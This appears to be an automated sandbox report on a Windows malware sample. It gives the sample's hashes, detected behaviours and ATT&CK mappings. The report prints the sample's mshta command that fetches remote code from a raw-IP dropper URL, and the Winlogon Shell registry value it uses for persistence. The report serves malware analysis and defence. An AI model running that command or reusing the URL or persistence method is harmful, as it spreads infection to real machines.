c1c0c50edd88174efd7670e02691d710278b922add87e22496a62fa88e90ff4f

Analysis

max time kernel
15s
max time network
16s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 13:01

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Reason

Machine shutdown

Report Analysis Logs

General

Target

eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
Size

502KB
MD5

eda4c598bb3a3a5f0d36eac37eb714ac
SHA1

6ee96d598f365462fda6c38769994102e181dccf
SHA256

c1c0c50edd88174efd7670e02691d710278b922add87e22496a62fa88e90ff4f
SHA512

2cfbbdf9c06c24b82fe92ddbf93b445bcb42178c98bd781a9e359ee1bfbce493e3502ecf93059b72fbb7f7e5735e3852963b9a2e295b902454afe0f87e712ae9
SSDEEP

12288:BckDZLHaX4v8iGVWv7Arpa8ReUnxNaEAkC/a2gH3HTeDrC:iiZLHNgcUrUSn2iMa2Xe

Score

10^/10

discovery persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://85.234.191.185/inst.php?id=02925

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe"	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2880	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1968-0-0x0000000000400000-0x0000000000699000-memory.dmp	upx
behavioral2/memory/1968-7-0x0000000000400000-0x0000000000699000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "91"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
3916	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2880	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	82
PID 1968 wrote to memory of 2880	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	82
PID 1968 wrote to memory of 2880	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	82
PID 1968 wrote to memory of 4172	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	83
PID 1968 wrote to memory of 4172	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	83
PID 1968 wrote to memory of 4172	1968	eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe	83

C:\Users\Admin\AppData\Local\Temp\eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\eda4c598bb3a3a5f0d36eac37eb714ac_JaffaCakes118.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://85.234.191.185/inst.php?id=02925
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2880
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\352.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4172

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39a1055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\352.bat

Filesize
258B

MD5
503153af14e39b234535da5ef90ff210

SHA1
683ddf6bb280941ac7f1631e1134a362597c0e8c

SHA256
1f25c1f432ef5208140f828782bf29e3f473afdca426992c5c80db645b744666

SHA512
ff48021618b32dc6edf59ce40762470549227038c3fe2825a9f0618a05c5ef532e739c261ab44f0c9a5d0ab2c47eada959e2f22e891cd20d19feedd8041c0520

Download Submit
memory/1968-0-0x0000000000400000-0x0000000000699000-memory.dmp

Filesize
2.6MB

Download
memory/1968-1-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/1968-7-0x0000000000400000-0x0000000000699000-memory.dmp

Filesize
2.6MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads